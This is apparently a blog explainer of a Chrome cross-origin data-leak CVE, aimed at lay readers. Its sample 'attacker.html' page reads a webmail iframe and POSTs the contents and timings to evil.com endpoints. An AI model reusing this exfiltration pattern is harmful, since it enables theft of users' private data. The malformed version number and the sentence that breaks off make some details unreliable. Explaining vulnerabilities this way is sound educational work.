Browsers keep our information secure by using something called the Same-Origin Policy. This is meant to make sure one website can’t snoop on another site’s data that might be sensitive—think bank pages, private messages, and more. But what happens when that policy gets broken? This is what happened with CVE-2022-1637, a vulnerability in Google Chrome that allowed bad actors to peek across the walls that are supposed to keep your information safe.

In this long read, I’ll explain in plain English what CVE-2022-1637 is, how it worked, and walk through an example of how attackers could’ve used this bug, including code snippets. I’ll also link to official references for anyone wanting deeper technical info.

What Is CVE-2022-1637?

- Vulnerable Component: Web Contents (Blink/WebKit internals)
- Affected Software: Chrome before version 101..4951.64

Impact: Cross-origin data leakage (data theft across websites)

Summary:  
Attackers could craft a website that, when visited, would steal private data from other sites the victim visited in their browser, breaking the browser’s primary security barrier.

Official Advisory: Google Chrome Release Notes

Technical Breakdown — How Did It Work?

Google Chrome, like most browsers, uses a process called “isolation” to separate web content from different sources (origins). This is meant to keep evil.com from seeing stuff you do on bank.com. But in this CVE, a particular part of the “Web Contents” system didn’t check isolation boundaries properly.

Attackers exploited this by putting tricky code in an HTML page. When a victim opened this evil page, it could trick Chrome into leaking data from other domains (cross-origin data).

What’s Cross-Origin?  
An “origin” is defined as the protocol, domain, and port.  
- https://bank.com  
- https://evil.com  
Even if both have the same IP, they are treated separately.

Example Exploit Scenario

Let’s say a victim is logged in to https://webmail.example.com (their email), and then visits https://evil.com.

Here’s *how* the attacker might set up their trap

<!-- attacker.html on evil.com -->
<!DOCTYPE html>
<html>
<head>
  <title>Attack Demo for CVE-2022-1637</title>
</head>
<body>
  <iframe id="stealer" src="https://webmail.example.com/private"></iframe>
  <script>
    // Try to observe loading leaks via onload/content timing
    document.getElementById('stealer').onload = function() {
      // Timing attack: measure how long the resource took to load
      var start = performance.now();
      try {
        // Try to interact with the cross-origin content (strictly forbidden normally!)
        var contents = document.getElementById('stealer').contentWindow.document.body.innerText;
        fetch('https://evil.com/steal', {
          method: 'POST',
          body: contents
        });
      } catch (e) {
        // Normally, this would fail!
      }
      var end = performance.now();
      // Even measuring this timing can leak information, depending on the bug
      fetch('https://evil.com/timing', {
          method: 'POST',
          body: JSON.stringify({time: end - start})
      });
    }
  </script>
</body>
</html>

*Note: Normally, accessing iframe.contentWindow.document across origins should throw an error. But due to the CVE, carefully crafted HTML/CSS/JS could allow data leakage, e.g., via timing, error events, or even by tricking the rendering pipeline.*

How Was It Fixed?

Google patched this in Chrome release 101..4951.64 by correctly enforcing isolation barriers between origins, closing off the inappropriate access path.

If you use Chrome:

References & Further Reading

- Official CVE-2022-1637 Entry (NVD)
- Google Chrome Stable Channel Update
- Chromium Issue Tracker *(sometimes restricted access)*

Conclusion

CVE-2022-1637 is a striking example of how a tiny oversight in browser code can put millions at risk. Attackers love these windows of opportunity, and it’s why browser updates matter so much. This was not just theoretical—a motivated attacker could have used it to quietly steal real data from real users.

If you take away one thing: Always keep your browser updated, and never underestimate the creativity of attackers when it comes to exploiting even the smallest cracks in the wall.

Timeline

Published on: 07/26/2022 22:15:00 UTC
Last modified on: 08/15/2022 11:16:00 UTC